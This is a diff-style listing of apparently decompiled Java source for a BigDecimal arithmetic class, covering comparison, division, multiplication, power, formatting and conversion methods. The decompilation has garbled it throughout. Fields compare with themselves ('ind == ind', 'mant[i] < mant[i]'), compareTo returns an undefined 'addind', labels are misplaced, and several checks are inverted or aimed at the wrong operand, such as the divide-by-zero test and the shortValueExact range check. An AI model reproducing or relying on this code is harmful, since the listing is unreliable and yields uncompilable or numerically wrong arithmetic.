+          ea = usel.length - 1;
+          eb = user.length - 1;
+          for (;;)
+          {
+            if (ia <= ea) {
+              ca = usel[ia];
+            } else {
+              if (ib > eb) {
+                if (form == 0) break;
+                return ZERO;
+              }
+              
+
+              ca = 0;
+            }
+            if (ib <= eb) {
+              cb = user[ib];
+            } else
+              cb = 0;
+            if (ca != cb) {
+              if (ca >= cb) break;
+              t = usel;
+              usel = user;
+              user = t;
+              tlen = usellen;
+              usellen = userlen;
+              userlen = tlen;
+              ind = ((byte)-ind); break;
+            }
+            
+
+
+            ia++;
+            ib++;
+          }
+        }
+      }
+    }
+    
+
+
+
+
+
+
+    mant = byteaddsub(usel, usellen, user, userlen, mult, false);
+    
+
+
+    return res.finish(set, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public int compareTo(BigDecimal rhs)
+  {
+    return compareTo(rhs, plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int compareTo(BigDecimal rhs, MathContext set)
+  {
+    int thislength = 0;
+    int i = 0;
+    
+
+    if (lostDigits) {
+      checkdigits(rhs, digits);
+    }
+    if (((ind == ind ? 1 : 0) & (exp == exp ? 1 : 0)) != 0)
+    {
+      thislength = mant.length;
+      if (thislength < mant.length)
+        return (byte)-ind;
+      if (thislength > mant.length) {
+        return ind;
+      }
+      
+
+
+      if (((thislength <= digits ? 1 : 0) | (digits == 0 ? 1 : 0)) != 0)
+      {
+        int $6 = thislength;
+        for (i = 0; 
+            $6 > 0; i++) {
+          if (mant[i] < mant[i])
+            return (byte)-ind;
+          if (mant[i] > mant[i]) {
+            return ind;
+          }
+          $6--;
+        }
+        
+
+
+
+
+        return 0;
+      }
+    }
+    else
+    {
+      if (ind < ind)
+        return -1;
+      if (ind > ind) {
+        return 1;
+      }
+    }
+    BigDecimal newrhs = clone(rhs);
+    ind = ((byte)-ind);
+    return addind;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal divide(BigDecimal rhs)
+  {
+    return dodivide('D', rhs, plainMC, -1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal divide(BigDecimal rhs, int round)
+  {
+    MathContext set = new MathContext(0, 0, false, round);
+    
+    return dodivide('D', rhs, set, -1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal divide(BigDecimal rhs, int scale, int round)
+  {
+    if (scale < 0)
+      throw new ArithmeticException("Negative scale: " + scale);
+    MathContext set = new MathContext(0, 0, false, round);
+    return dodivide('D', rhs, set, scale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal divide(BigDecimal rhs, MathContext set)
+  {
+    return dodivide('D', rhs, set, -1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal divideInteger(BigDecimal rhs)
+  {
+    return dodivide('I', rhs, plainMC, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal divideInteger(BigDecimal rhs, MathContext set)
+  {
+    return dodivide('I', rhs, set, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal max(BigDecimal rhs)
+  {
+    return max(rhs, plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal max(BigDecimal rhs, MathContext set)
+  {
+    if (compareTo(rhs, set) >= 0) {
+      return plus(set);
+    }
+    return rhs.plus(set);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal min(BigDecimal rhs)
+  {
+    return min(rhs, plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal min(BigDecimal rhs, MathContext set)
+  {
+    if (compareTo(rhs, set) <= 0) {
+      return plus(set);
+    }
+    return rhs.plus(set);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal multiply(BigDecimal rhs)
+  {
+    return multiply(rhs, plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal multiply(BigDecimal rhs, MathContext set)
+  {
+    byte[] multer = null;
+    byte[] multand = null;
+    
+    int acclen = 0;
+    
+
+    int n = 0;
+    byte mult = 0;
+    if (lostDigits)
+      checkdigits(rhs, digits);
+    BigDecimal lhs = this;
+    
+
+    int padding = 0;
+    int reqdig = digits;
+    if (reqdig > 0) {
+      if (mant.length > reqdig)
+        lhs = clone(lhs).round(set);
+      if (mant.length > reqdig) {
+        rhs = clone(rhs).round(set);
+      }
+    }
+    else
+    {
+      if (exp > 0)
+        padding += exp;
+      if (exp > 0) {
+        padding += exp;
+      }
+    }
+    
+
+
+
+    if (mant.length < mant.length) {
+      multer = mant;
+      multand = mant;
+    } else {
+      multer = mant;
+      multand = mant;
+    }
+    
+
+    int multandlen = multer.length + multand.length - 1;
+    
+    if (multer[0] * multand[0] > 9) {
+      acclen = multandlen + 1;
+    } else {
+      acclen = multandlen;
+    }
+    
+    BigDecimal res = new BigDecimal();
+    byte[] acc = new byte[acclen];
+    
+
+
+
+
+    int $7 = multer.length;
+    for (n = 0; 
+        $7 > 0; n++) {
+      mult = multer[n];
+      if (mult != 0)
+      {
+        acc = byteaddsub(acc, acc.length, multand, multandlen, mult, true);
+      }
+      
+      multandlen--;$7--;
+    }
+    
+
+    ind = ((byte)(ind * ind));
+    exp = (exp + exp - padding);
+    
+
+
+    if (padding == 0) {
+      mant = acc;
+    } else
+      mant = extend(acc, acc.length + padding);
+    return res.finish(set, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal negate()
+  {
+    return negate(plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal negate(MathContext set)
+  {
+    if (lostDigits)
+      checkdigits((BigDecimal)null, digits);
+    BigDecimal res = clone(this);
+    ind = ((byte)-ind);
+    return res.finish(set, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal plus()
+  {
+    return plus(plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal plus(MathContext set)
+  {
+    if (lostDigits) {
+      checkdigits((BigDecimal)null, digits);
+    }
+    if ((form == 0) && 
+      (form == 0)) {
+      if (mant.length <= digits)
+        return this;
+      if (digits == 0)
+        return this;
+    }
+    return clone(this).finish(set, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal pow(BigDecimal rhs)
+  {
+    return pow(rhs, plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal pow(BigDecimal rhs, MathContext set)
+  {
+    int workdigits = 0;
+    int L = 0;
+    
+
+
+    int i = 0;
+    if (lostDigits)
+      checkdigits(rhs, digits);
+    int n = rhs.intcheck(-999999999, 999999999);
+    BigDecimal lhs = this;
+    
+    int reqdig = digits;
+    if (reqdig == 0) {
+      if (ind == -1)
+        throw new ArithmeticException("Negative power: " + rhs.toString());
+      workdigits = 0;
+    } else {
+      if (mant.length + exp > reqdig) {
+        throw new ArithmeticException("Too many digits: " + rhs.toString());
+      }
+      
+      if (mant.length > reqdig) {
+        lhs = clone(lhs).round(set);
+      }
+      
+      L = mant.length + exp;
+      workdigits = reqdig + L + 1;
+    }
+    
+
+
+
+    MathContext workset = new MathContext(workdigits, form, false, roundingMode);
+    
+    BigDecimal res = ONE;
+    if (n == 0)
+      return res;
+    if (n < 0)
+      n = -n;
+    boolean seenbit = false;
+    
+    i = 1;
+    for (;; i++) {
+      n += n;
+      if (n < 0) {
+        seenbit = true;
+        res = res.multiply(lhs, workset);
+      }
+      if (i == 31)
+        break;
+      if (seenbit)
+      {
+        res = res.multiply(res, workset);
+      }
+    }
+    if (ind < 0)
+      res = ONE.divide(res, workset);
+    return res.finish(set, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal remainder(BigDecimal rhs)
+  {
+    return dodivide('R', rhs, plainMC, -1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal remainder(BigDecimal rhs, MathContext set)
+  {
+    return dodivide('R', rhs, set, -1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal subtract(BigDecimal rhs)
+  {
+    return subtract(rhs, plainMC);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal subtract(BigDecimal rhs, MathContext set)
+  {
+    if (lostDigits) {
+      checkdigits(rhs, digits);
+    }
+    
+
+    BigDecimal newrhs = clone(rhs);
+    ind = ((byte)-ind);
+    return add(newrhs, set);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public byte byteValueExact()
+  {
+    int num = intValueExact();
+    if (((num > 127 ? 1 : 0) | (num < -128 ? 1 : 0)) != 0)
+      throw new ArithmeticException("Conversion overflow: " + toString());
+    return (byte)num;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public double doubleValue()
+  {
+    return Double.valueOf(toString()).doubleValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    int i = 0;
+    char[] lca = null;
+    char[] rca = null;
+    
+    if (obj == null)
+      return false;
+    if (!(obj instanceof BigDecimal))
+      return false;
+    BigDecimal rhs = (BigDecimal)obj;
+    if (ind != ind)
+      return false;
+    if (((mant.length == mant.length ? 1 : 0) & (exp == exp ? 1 : 0) & (form == form ? 1 : 0)) != 0)
+    {
+
+
+
+      int $8 = mant.length;
+      for (i = 0; 
+          $8 > 0; i++) {
+        if (mant[i] != mant[i]) {
+          return false;
+        }
+        $8--;
+      }
+      
+    }
+    else
+    {
+      lca = layout();
+      rca = rhs.layout();
+      if (lca.length != rca.length) {
+        return false;
+      }
+      
+      int $9 = lca.length;
+      for (i = 0; 
+          $9 > 0; i++) {
+        if (lca[i] != rca[i]) {
+          return false;
+        }
+        $9--;
+      }
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public float floatValue()
+  {
+    return Float.valueOf(toString()).floatValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String format(int before, int after)
+  {
+    return format(before, after, -1, -1, 1, 4);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String format(int before, int after, int explaces, int exdigits, int exformint, int exround)
+  {
+    int mag = 0;
+    int thisafter = 0;
+    int lead = 0;
+    byte[] newmant = null;
+    int chop = 0;
+    int need = 0;
+    int oldexp = 0;
+    
+    int p = 0;
+    char[] newa = null;
+    int i = 0;
+    int places = 0;
+    
+
+    if (((before < -1 ? 1 : 0) | (before == 0 ? 1 : 0)) != 0)
+      badarg("format", 1, String.valueOf(before));
+    if (after < -1)
+      badarg("format", 2, String.valueOf(after));
+    if (((explaces < -1 ? 1 : 0) | (explaces == 0 ? 1 : 0)) != 0)
+      badarg("format", 3, String.valueOf(explaces));
+    if (exdigits < -1) {
+      badarg("format", 4, String.valueOf(explaces));
+    }
+    if ((exformint != 1) && 
+      (exformint != 2)) {
+      if (exformint == -1) {
+        exformint = 1;
+      }
+      else {
+        badarg("format", 5, String.valueOf(exformint));
+      }
+    }
+    
+
+    if (exround != 4) {
+      try {
+        if (exround == -1) {
+          exround = 4;
+        } else
+          new MathContext(9, 1, false, exround);
+      } catch (IllegalArgumentException $10) {
+        badarg("format", 6, String.valueOf(exround));
+      }
+    }
+    
+    BigDecimal num = clone(this);
+    
+
+
+
+
+
+
+
+
+
+    if (exdigits == -1) {
+      form = 0;
+    } else if (ind == 0) {
+      form = 0;
+    }
+    else {
+      mag = exp + mant.length;
+      if (mag > exdigits) {
+        form = ((byte)exformint);
+      } else if (mag < -5) {
+        form = ((byte)exformint);
+      } else {
+        form = 0;
+      }
+    }
+    
+
+
+
+
+
+    if (after >= 0)
+    {
+      for (;;)
+      {
+        if (form == 0) {
+          thisafter = -exp;
+        } else if (form == 1) {
+          thisafter = mant.length - 1;
+        } else {
+          lead = (exp + mant.length - 1) % 3;
+          if (lead < 0)
+            lead = 3 + lead;
+          lead++;
+          if (lead >= mant.length) {
+            thisafter = 0;
+          } else {
+            thisafter = mant.length - lead;
+          }
+        }
+        if (thisafter != after)
+        {
+          if (thisafter < after)
+          {
+            newmant = extend(mant, mant.length + after - thisafter);
+            mant = newmant;
+            exp -= after - thisafter;
+            if (exp < -999999999) {
+              throw new ArithmeticException("Exponent Overflow: " + exp);
+            }
+            
+          }
+          else
+          {
+            chop = thisafter - after;
+            if (chop > mant.length)
+            {
+              mant = ZEROmant;
+              ind = 0;
+              exp = 0;
+
+            }
+            else
+            {
+              need = mant.length - chop;
+              oldexp = exp;
+              num.round(need, exround);
+              
+
+              if (exp - oldexp == chop)
+                break;
+            }
+          } }
+      }
+    }
+    char[] a = num.layout();
+    
+
+
+    if (before > 0)
+    {
+
+      int $11 = a.length;
+      for (p = 0; 
+          $11 > 0; p++) {
+        if (a[p] == '.')
+          break;
+        if (a[p] == 'E') {
+          break;
+        }
+        $11--;
+      }
+      
+
+
+
+
+
+
+      if (p > before)
+        badarg("format", 1, String.valueOf(before));
+      if (p < before) {
+        newa = new char[a.length + before - p];
+        
+        int $12 = before - p;
+        for (i = 0; 
+            $12 > 0; i++) {
+          newa[i] = ' ';$12--;
+        }
+        
+        System.arraycopy(a, 0, newa, i, a.length);
+        a = newa;
+      }
+    }
+    
+
+    if (explaces > 0)
+    {
+
+      int $13 = a.length - 1;
+      for (p = a.length - 1; 
+          $13 > 0; p--) {
+        if (a[p] == 'E') {
+          break;
+        }
+        $13--;
+      }
+      
+
+
+
+      if (p == 0) {
+        newa = new char[a.length + explaces + 2];
+        System.arraycopy(a, 0, newa, 0, a.length);
+        
+        int $14 = explaces + 2;
+        for (i = a.length; 
+            $14 > 0; i++) {
+          newa[i] = ' ';$14--;
+        }
+        
+        a = newa;
+      } else {
+        places = a.length - p - 2;
+        if (places > explaces)
+          badarg("format", 3, String.valueOf(explaces));
+        if (places < explaces) {
+          newa = new char[a.length + explaces - places];
+          System.arraycopy(a, 0, newa, 0, p + 2);
+          
+
+          int $15 = explaces - places;
+          for (i = p + 2; 
+              $15 > 0; i++) {
+            newa[i] = '0';$15--;
+          }
+          
+          System.arraycopy(a, p + 2, newa, i, places);
+          
+
+          a = newa;
+        }
+      }
+    }
+    
+    return new String(a);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return toString().hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int intValue()
+  {
+    return toBigInteger().intValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int intValueExact()
+  {
+    int useexp = 0;
+    
+    int i = 0;
+    int topdig = 0;
+    
+
+
+    if (ind == 0) {
+      return 0;
+    }
+    int lodigit = mant.length - 1;
+    if (exp < 0) {
+      lodigit += exp;
+      
+      if (!allzero(mant, lodigit + 1))
+        throw new ArithmeticException("Decimal part non-zero: " + toString());
+      if (lodigit < 0)
+        return 0;
+      useexp = 0;
+    } else {
+      if (exp + lodigit > 9)
+        throw new ArithmeticException("Conversion overflow: " + toString());
+      useexp = exp;
+    }
+    
+    int result = 0;
+    
+    int $16 = lodigit + useexp;
+    for (i = 0; 
+        i <= $16; i++) {
+      result *= 10;
+      if (i <= lodigit) {
+        result += mant[i];
+      }
+    }
+    
+
+    if (lodigit + useexp == 9)
+    {
+
+      topdig = result / 1000000000;
+      if (topdig != mant[0])
+      {
+        if ((result == Integer.MIN_VALUE) && 
+          (ind == -1) && 
+          (mant[0] == 2))
+          return result;
+        throw new ArithmeticException("Conversion overflow: " + toString());
+      }
+    }
+    
+
+    if (ind == 1)
+      return result;
+    return -result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public long longValue()
+  {
+    return toBigInteger().longValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public long longValueExact()
+  {
+    int cstart = 0;
+    int useexp = 0;
+    
+    int i = 0;
+    long topdig = 0L;
+    
+    if (ind == 0)
+      return 0L;
+    int lodigit = mant.length - 1;
+    if (exp < 0) {
+      lodigit += exp;
+      
+      if (lodigit < 0) {
+        cstart = 0;
+      } else
+        cstart = lodigit + 1;
+      if (!allzero(mant, cstart))
+        throw new ArithmeticException("Decimal part non-zero: " + toString());
+      if (lodigit < 0)
+        return 0L;
+      useexp = 0;
+    } else {
+      if (exp + mant.length > 18)
+        throw new ArithmeticException("Conversion overflow: " + toString());
+      useexp = exp;
+    }
+    
+
+
+
+
+    long result = 0L;
+    
+    int $17 = lodigit + useexp;
+    for (i = 0; 
+        i <= $17; i++) {
+      result *= 10L;
+      if (i <= lodigit) {
+        result += mant[i];
+      }
+    }
+    
+
+    if (lodigit + useexp == 18) {
+      topdig = result / 1000000000000000000L;
+      if (topdig != mant[0])
+      {
+        if ((result == Long.MIN_VALUE) && 
+          (ind == -1) && 
+          (mant[0] == 9))
+          return result;
+        throw new ArithmeticException("Conversion overflow: " + toString());
+      }
+    }
+    
+
+    if (ind == 1)
+      return result;
+    return -result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal movePointLeft(int n)
+  {
+    BigDecimal res = clone(this);
+    exp -= n;
+    return res.finish(plainMC, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal movePointRight(int n)
+  {
+    BigDecimal res = clone(this);
+    exp += n;
+    return res.finish(plainMC, false);
+  }
+  
+
+
+
+
+
+
+
+
+  public int scale()
+  {
+    if (exp >= 0)
+      return 0;
+    return -exp;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal setScale(int scale)
+  {
+    return setScale(scale, 7);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal setScale(int scale, int round)
+  {
+    int padding = 0;
+    int newlen = 0;
+    
+
+    int ourscale = scale();
+    if ((ourscale == scale) && 
+      (form == 0))
+      return this;
+    BigDecimal res = clone(this);
+    if (ourscale <= scale)
+    {
+      if (ourscale == 0) {
+        padding = exp + scale;
+      } else
+        padding = scale - ourscale;
+      mant = extend(mant, mant.length + padding);
+      exp = (-scale);
+    } else {
+      if (scale < 0) {
+        throw new ArithmeticException("Negative scale: " + scale);
+      }
+      newlen = mant.length - (ourscale - scale);
+      res = res.round(newlen, round);
+      
+
+      if (exp != -scale) {
+        mant = extend(mant, mant.length + 1);
+        exp -= 1;
+      }
+    }
+    form = 0;
+    return res;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public short shortValueExact()
+  {
+    int num = intValueExact();
+    if (((num > 32767 ? 1 : 0) | (num < 32768 ? 1 : 0)) != 0)
+      throw new ArithmeticException("Conversion overflow: " + toString());
+    return (short)num;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int signum()
+  {
+    return ind;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public java.math.BigDecimal toBigDecimal()
+  {
+    return new java.math.BigDecimal(unscaledValue(), scale());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BigInteger toBigInteger()
+  {
+    BigDecimal res = null;
+    int newlen = 0;
+    byte[] newmant = null;
+    
+    if (((exp >= 0 ? 1 : 0) & (form == 0 ? 1 : 0)) != 0) {
+      res = this;
+    } else if (exp >= 0) {
+      res = clone(this);
+      form = 0;
+
+
+    }
+    else if (-exp >= mant.length) {
+      res = ZERO;
+    } else {
+      res = clone(this);
+      newlen = mant.length + exp;
+      newmant = new byte[newlen];
+      System.arraycopy(mant, 0, newmant, 0, newlen);
+      
+      mant = newmant;
+      form = 0;
+      exp = 0;
+    }
+    
+
+
+    return new BigInteger(new String(res.layout()));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public BigInteger toBigIntegerExact()
+  {
+    if (exp < 0)
+    {
+      if (!allzero(mant, mant.length + exp))
+        throw new ArithmeticException("Decimal part non-zero: " + toString());
+    }
+    return toBigInteger();
+  }
+  
+
+
+
+
+
+
+
+
+  public char[] toCharArray()
+  {
+    return layout();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    return new String(layout());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public BigInteger unscaledValue()
+  {
+    BigDecimal res = null;
+    if (exp >= 0) {
+      res = this;
+    } else {
+      res = clone(this);
+      exp = 0;
+    }
+    return res.toBigInteger();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BigDecimal valueOf(double dub)
+  {
+    return new BigDecimal(new Double(dub).toString());
+  }
+  
+
+
+
+
+
+
+
+
+  public static BigDecimal valueOf(long lint)
+  {
+    return valueOf(lint, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static BigDecimal valueOf(long lint, int scale)
+  {
+    BigDecimal res = null;
+    
+    if (lint == 0L) {
+      res = ZERO;
+    } else if (lint == 1L) {
+      res = ONE;
+    } else if (lint == 10L) {
+      res = TEN;
+    } else {
+      res = new BigDecimal(lint);
+    }
+    
+    if (scale == 0)
+      return res;
+    if (scale < 0)
+      throw new NumberFormatException("Negative scale: " + scale);
+    res = clone(res);
+    exp = (-scale);
+    return res;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private char[] layout()
+  {
+    int i = 0;
+    StringBuilder sb = null;
+    int euse = 0;
+    int sig = 0;
+    char csign = '\000';
+    char[] rec = null;
+    
+
+    int len = 0;
+    char[] cmant = new char[mant.length];
+    
+    int $18 = mant.length;
+    for (i = 0; 
+        $18 > 0; i++) {
+      cmant[i] = ((char)(mant[i] + 48));$18--;
+    }
+    
+
+    if (form != 0) {
+      sb = new StringBuilder(cmant.length + 15);
+      if (ind == -1)
+        sb.append('-');
+      euse = exp + cmant.length - 1;
+      
+      if (form == 1) {
+        sb.append(cmant[0]);
+        if (cmant.length > 1) {
+          sb.append('.').append(cmant, 1, cmant.length - 1);
+        }
+      } else {
+        sig = euse % 3;
+        if (sig < 0)
+          sig = 3 + sig;
+        euse -= sig;
+        sig++;
+        if (sig >= cmant.length) {
+          sb.append(cmant, 0, cmant.length);
+          
+          for (int $19 = sig - cmant.length; 
+              $19 > 0; $19--) {
+            sb.append('0');
+          }
+        }
+        else {
+          sb.append(cmant, 0, sig).append('.').append(cmant, sig, cmant.length - sig);
+        }
+      }
+      
+      if (euse != 0) {
+        if (euse < 0) {
+          csign = '-';
+          euse = -euse;
+        } else {
+          csign = '+'; }
+        sb.append('E').append(csign).append(euse);
+      }
+      rec = new char[sb.length()];
+      int srcEnd = sb.length();
+      if (0 != srcEnd) {
+        sb.getChars(0, srcEnd, rec, 0);
+      }
+      return rec;
+    }
+    
+
+    if (exp == 0) {
+      if (ind >= 0)
+        return cmant;
+      rec = new char[cmant.length + 1];
+      rec[0] = '-';
+      System.arraycopy(cmant, 0, rec, 1, cmant.length);
+      return rec;
+    }
+    
+
+    int needsign = ind == -1 ? 1 : 0;
+    
+
+
+
+    int mag = exp + cmant.length;
+    
+    if (mag < 1) {
+      len = needsign + 2 - exp;
+      rec = new char[len];
+      if (needsign != 0)
+        rec[0] = '-';
+      rec[needsign] = '0';
+      rec[(needsign + 1)] = '.';
+      
+      int $20 = -mag;
+      for (i = needsign + 2; 
+          $20 > 0; i++) {
+        rec[i] = '0';$20--;
+      }
+      
+      System.arraycopy(cmant, 0, rec, needsign + 2 - mag, cmant.length);
+      
+      return rec;
+    }
+    
+    if (mag > cmant.length) {
+      len = needsign + mag;
+      rec = new char[len];
+      if (needsign != 0)
+        rec[0] = '-';
+      System.arraycopy(cmant, 0, rec, needsign, cmant.length);
+      
+      int $21 = mag - cmant.length;
+      for (i = needsign + cmant.length; 
+          $21 > 0; i++) {
+        rec[i] = '0';$21--;
+      }
+      
+      return rec;
+    }
+    
+
+    len = needsign + 1 + cmant.length;
+    rec = new char[len];
+    if (needsign != 0)
+      rec[0] = '-';
+    System.arraycopy(cmant, 0, rec, needsign, mag);
+    rec[(needsign + mag)] = '.';
+    System.arraycopy(cmant, mag, rec, needsign + mag + 1, cmant.length - mag);
+    
+    return rec;
+  }
+  
+
+
+
+
+
+  private int intcheck(int min, int max)
+  {
+    int i = intValueExact();
+    
+    if (((i < min ? 1 : 0) | (i > max ? 1 : 0)) != 0)
+      throw new ArithmeticException("Conversion overflow: " + i);
+    return i;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private BigDecimal dodivide(char code, BigDecimal rhs, MathContext set, int scale)
+  {
+    int thisdigit = 0;
+    int i = 0;
+    byte v2 = 0;
+    int ba = 0;
+    int mult = 0;
+    int start = 0;
+    int padding = 0;
+    int d = 0;
+    byte[] newvar1 = null;
+    byte lasthave = 0;
+    int actdig = 0;
+    byte[] newmant = null;
+    
+    if (lostDigits)
+      checkdigits(rhs, digits);
+    BigDecimal lhs = this;
+    
+
+    if (ind == 0)
+      throw new ArithmeticException("Divide by 0");
+    if (ind == 0) {
+      if (form != 0)
+        return ZERO;
+      if (scale == -1)
+        return lhs;
+      return lhs.setScale(scale);
+    }
+    
+
+    int reqdig = digits;
+    if (reqdig > 0) {
+      if (mant.length > reqdig)
+        lhs = clone(lhs).round(set);
+      if (mant.length > reqdig)
+        rhs = clone(rhs).round(set);
+    } else {
+      if (scale == -1) {
+        scale = lhs.scale();
+      }
+      reqdig = mant.length;
+      
+      if (scale != -exp)
+        reqdig = reqdig + scale + exp;
+      reqdig = reqdig - (mant.length - 1) - exp;
+      if (reqdig < mant.length)
+        reqdig = mant.length;
+      if (reqdig < mant.length) {
+        reqdig = mant.length;
+      }
+    }
+    
+    int newexp = exp - exp + mant.length - mant.length;
+    
+    if ((newexp < 0) && 
+      (code != 'D')) {
+      if (code == 'I') {
+        return ZERO;
+      }
+      return clone(lhs).finish(set, false);
+    }
+    
+
+    BigDecimal res = new BigDecimal();
+    ind = ((byte)(ind * ind));
+    exp = newexp;
+    mant = new byte[reqdig + 1];
+    
+
+
+    int newlen = reqdig + reqdig + 1;
+    byte[] var1 = extend(mant, newlen);
+    int var1len = newlen;
+    
+    byte[] var2 = mant;
+    int var2len = newlen;
+    
+
+    int b2b = var2[0] * 10 + 1;
+    if (var2.length > 1) {
+      b2b += var2[1];
+    }
+    
+    int have = 0;
+    for (;;)
+    {
+      thisdigit = 0;
+      
+
+
+      while (var1len >= var2len)
+      {
+        if (var1len == var2len)
+        {
+
+
+          int $22 = var1len;
+          for (i = 0; 
+              $22 > 0; i++)
+          {
+            if (i < var2.length) {
+              v2 = var2[i];
+            } else
+              v2 = 0;
+            if (var1[i] < v2)
+              break label683;
+            if (var1[i] > v2) {
+              break label539;
+            }
+            $22--;
+          }
+          
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          thisdigit++;
+          mant[have] = ((byte)thisdigit);
+          have++;
+          var1[0] = 0;
+          
+          break label797;
+          
+          label539:
+          
+          ba = var1[0];
+        }
+        else
+        {
+          ba = var1[0] * 10;
+          if (var1len > 1) {
+            ba += var1[1];
+          }
+        }
+        mult = ba * 10 / b2b;
+        if (mult == 0)
+          mult = 1;
+        thisdigit += mult;
+        
+        var1 = byteaddsub(var1, var1len, var2, var2len, -mult, true);
+        if (var1[0] == 0)
+        {
+
+
+
+
+
+          int $23 = var1len - 2;
+          for (start = 0; 
+              start <= $23; start++) {
+            if (var1[start] != 0)
+              break;
+            var1len--;
+          }
+          
+          if (start != 0)
+          {
+
+            System.arraycopy(var1, start, var1, 0, var1len);
+          }
+        }
+      }
+      label683:
+      if (((have != 0 ? 1 : 0) | (thisdigit != 0 ? 1 : 0)) != 0) {
+        mant[have] = ((byte)thisdigit);
+        have++;
+        if (have == reqdig + 1)
+          break;
+        if (var1[0] == 0) {
+          break;
+        }
+      }
+      if ((scale >= 0) && 
+        (-exp > scale)) {
+        break;
+      }
+      if ((code != 'D') && 
+        (exp <= 0))
+        break;
+      exp -= 1;
+      
+
+
+      var2len--;
+    }
+    
+
+    label797:
+    
+    if (have == 0) {
+      have = 1;
+    }
+    if (((code == 'I' ? 1 : 0) | (code == 'R' ? 1 : 0)) != 0) {
+      if (have + exp > reqdig) {
+        throw new ArithmeticException("Integer overflow");
+      }
+      if (code == 'R')
+      {
+
+        if (mant[0] == 0)
+          return clone(lhs).finish(set, false);
+        if (var1[0] == 0)
+          return ZERO;
+        ind = ind;
+        
+
+
+
+        padding = reqdig + reqdig + 1 - mant.length;
+        exp = (exp - padding + exp);
+        
+
+
+
+        d = var1len;
+        
+        for (i = d - 1; 
+            i >= 1; i--) {
+          if (((exp < exp ? 1 : 0) & (exp < exp ? 1 : 0)) == 0)
+            break;
+          if (var1[i] != 0)
+            break;
+          d--;
+          exp += 1;
+        }
+        
+        if (d < var1.length) {
+          newvar1 = new byte[d];
+          System.arraycopy(var1, 0, newvar1, 0, d);
+          var1 = newvar1;
+        }
+        mant = var1;
+        return res.finish(set, false);
+
+
+
+      }
+      
+
+
+
+    }
+    else if (var1[0] != 0) {
+      lasthave = mant[(have - 1)];
